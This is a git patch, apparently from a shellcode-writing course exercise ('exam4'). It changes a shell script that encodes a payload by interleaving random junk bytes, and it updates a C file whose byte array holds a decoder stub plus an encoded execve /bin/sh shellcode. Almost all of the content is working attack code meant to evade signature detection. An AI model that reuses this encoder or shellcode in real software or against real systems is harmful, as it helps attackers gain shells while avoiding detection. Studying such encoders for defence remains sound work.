From 8c0e91f04eb4517a6d7f4e6f7f8dba6e2e57b7f7 Mon Sep 17 00:00:00 2001 From: arno01 Date: Thu, 11 Apr 2013 15:22:16 +0200 Subject: [PATCH] randomization simplified --- exam4/make.sh | 4 +++- exam4/shellcode | Bin 4980 -> 4980 bytes exam4/shellcode.c | 2 +- 3 files changed, 4 insertions(+), 2 deletions(-) diff --git a/exam4/make.sh b/exam4/make.sh index 74bdc97..e0fbfc6 100755 --- a/exam4/make.sh +++ b/exam4/make.sh @@ -28,7 +28,9 @@ echo " [+] Encoding the payload shellcode ..." # garbage=('\x37' '\xFA' '\xD6' '\x3F'); -ENCPSHELLCODE=$(for i in $(objdump -d $SPAYLOAD |grep "^ " |cut -f2); do echo -n '\x'$i; echo -n ${garbage[$[$(shuf --random-source=/dev/urandom -z -i 999-999999 -n1)%4]]}; done; echo -n "\xAF\"") +#ENCPSHELLCODE=$(for i in $(objdump -d $SPAYLOAD |grep "^ " |cut -f2); do echo -n '\x'$i; echo -n ${garbage[$[$(shuf --random-source=/dev/urandom -z -i 999-999999 -n1)%4]]}; done; echo -n "\xAF\"") +ENCPSHELLCODE=$(for i in $(objdump -d $SPAYLOAD |grep "^ " |cut -f2); do echo -n '\x'$i; echo -n ${garbage[$[$(od -A n -N 2 -t u2 /dev/urandom)%4]]}; done; echo -n "\xAF\"") + FULL_SHELLCODE=${DECODERSHELLCODE}${ENCPSHELLCODE} diff --git a/exam4/shellcode b/exam4/shellcode index 6e6b9ec62046523bd1acf2684ea5a2152d3af477..670ace713afe21b9209e4dc2a485c639a4757641 100755 GIT binary patch delta 109 zcmeyO_C;+&1*336$S&soITz|xS8myUr)gvL4UZ?AyBX_Q-LD<^wc#4KxuN-`YeD82 z*YbYpn->G=jBENpR+4$ #include -unsigned char code[] = "\xeb\x22\x5e\x31\xc9\x8a\x06\x46\x3c\x37\x74\xf9\x3c\xfa\x74\xf5\x3c\xd6\x74\xf1\x3c\x3f\x74\xed\x3c\xaf\x74\x06\x88\x04\x0a\x41\xeb\xe3\xff\xd2\xe8\xd9\xff\xff\xff\x31\xFA\xc0\xFA\xb0\x3F\x0b\x3F\x31\xD6\xd2\x3F\x52\xD6\x68\xD6\x6e\x37\x2f\xFA\x73\xFA\x68\xD6\x68\xD6\x2f\x3F\x2f\x37\x62\xFA\x69\x3F\x89\xD6\xe3\x37\x52\xD6\x53\xFA\x89\x3F\xe1\xFA\x52\x3F\x89\x37\xe2\xD6\xcd\xD6\x80\xFA\x31\x3F\xc0\x37\xb0\xFA\x01\x3F\x31\xFA\xdb\xFA\xcd\xFA\x80\x37\xAF"; +unsigned char code[] = "\xeb\x22\x5e\x31\xc9\x8a\x06\x46\x3c\x37\x74\xf9\x3c\xfa\x74\xf5\x3c\xd6\x74\xf1\x3c\x3f\x74\xed\x3c\xaf\x74\x06\x88\x04\x0a\x41\xeb\xe3\xff\xd2\xe8\xd9\xff\xff\xff\x31\xD6\xc0\xFA\xb0\xD6\x0b\x37\x31\x37\xd2\xD6\x52\x37\x68\xD6\x6e\xFA\x2f\x37\x73\x37\x68\xD6\x68\xD6\x2f\xFA\x2f\x37\x62\x37\x69\xFA\x89\xD6\xe3\xFA\x52\x3F\x53\xFA\x89\xD6\xe1\xD6\x52\x3F\x89\xFA\xe2\x37\xcd\xFA\x80\xFA\x31\xD6\xc0\x3F\xb0\xD6\x01\xFA\x31\x3F\xdb\x37\xcd\xFA\x80\x3F\xAF"; main() {